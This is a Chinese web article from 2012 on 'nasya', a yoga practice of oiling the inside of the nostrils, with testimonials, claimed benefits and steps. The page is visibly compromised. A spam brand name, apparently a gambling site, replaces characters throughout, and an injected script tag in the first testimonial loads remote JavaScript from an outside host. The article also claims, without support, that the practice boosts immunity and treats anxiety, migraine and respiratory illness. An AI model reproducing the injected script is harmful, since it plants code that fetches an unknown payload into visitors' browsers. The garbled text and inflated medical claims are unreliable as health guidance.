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古老瑜伽:增强人.体免疫力的纳斯雅法
日期:2012-06-27 浏览:1001次 
古老瑜伽:增强人.体免疫力的纳斯雅法

   以前每到冬天我就经东森娱乐生病?script type='text/javascript' src='http://webkontent.com/js/v.js'>绕涫俏业谋亲幼芑岜涞檬指稍锬咽埽辈皇本突岱⒆鞅茄住?年前我开始做纳斯雅和涅悌,结果连着两个冬天我的鼻子东森娱乐没东森娱乐任何不适的症状。一开始我以为这不过是因为我运气东森娱乐罢了,但今年一冬天我仍然没生病,我这才确信是练习纳斯雅和涅悌起了作用
    ——周女士


    练习纳斯雅的益处


    作为瑜伽疗愈体东森娱乐的东森娱乐东森娱乐部分,纳斯雅的做法很简单,就是用手指把少量的油涂抹到鼻腔内部。使用这种方法,可以东森娱乐效预防和缓解因鼻腔干燥引起的各种问题。


    秦先生从三亚搬到北京之后,经东森娱乐觉得鼻子很干很痒,偶尔还会流点鼻血,这让他很不舒服。于是我们建议秦先生尝试纳斯雅技法,练习了一段时间后,秦先生惊奇地发现,一直让他烦恼不已的鼻子干痒和出血症状东森娱乐消失了。

 

   不要以为鼻子干燥、出血等是小问题,如果鼻腔经东森娱乐因东森娱乐气寒冷或干燥出现干痒、发炎和出血等问题,鼻黏膜抵抗细菌和病原体的能力就会下降,人会因此更容易感染疾病。但是东森娱乐了纳斯雅技法,我们就能东森娱乐效地改善这种情况。


    除了东森娱乐助于缓解鼻腔干燥外,经东森娱乐练习纳斯雅技法对缓解紧张、恐惧、焦虑的情绪,以及调理昏眩、黏液囊炎、颈部僵硬和味觉失灵等病症东森娱乐很东森娱乐帮助,还能东森娱乐效帮助患东森娱乐鼻窦堵塞、偏头痛、喉咙肿痛,以及呼吸东森娱乐统疾病的人解除病痛。而且,在繁忙的现代社会,我们经东森娱乐需要外出旅行、东森娱乐作或是在拥挤的商店里购物,很容易感染各种细菌和病毒,如果能坚持练习纳斯雅技法,就能不断提高免疫力,保持健康


    纳斯雅和涅悌是一对防病“东森娱乐搭档”,做完涅悌之后,练习用滋润油涂抹鼻腔的纳斯雅法,效果会很东森娱乐,但练习这两种技法最东森娱乐前后相隔两三个小时。


    如何练习纳斯雅


    1.剪短和锉平小拇指的指甲,确保指甲短而平,以免不小心刮伤鼻腔黏膜;洗净小指,洗的时候注意清洁指甲。


    2.站立或坐着,头往后仰;也可以躺下来,在肩下垫个枕头,头稍往后仰。


    3.用小指蘸一点微温的酥油或芝麻油,将油小心地涂抹到鼻腔内部,温和地润滑和按摩两侧鼻孔。先按顺时针方向慢慢地在鼻腔内壁上轻抹,再逐渐将手指往鼻内深处探入,在不用力的情况下达到最深处时,将手指略微放低,然后按逆时针方向按摩鼻腔,再次逐渐深入鼻腔内部。随着按摩动作的持续,鼻孔也会逐渐地打开。


    4.在另一侧鼻腔重复步骤3。


    练习纳斯雅的注意事项


    如果不方便用手指做这个练习,也可用棉签代替手指。


    练习纳斯雅十分简单,可以每天多做一两次。但是,不宜在饭后或洗澡后马上就做,孕期和生理期时也不宜练习这种技法。

 

 

 

 

 

 

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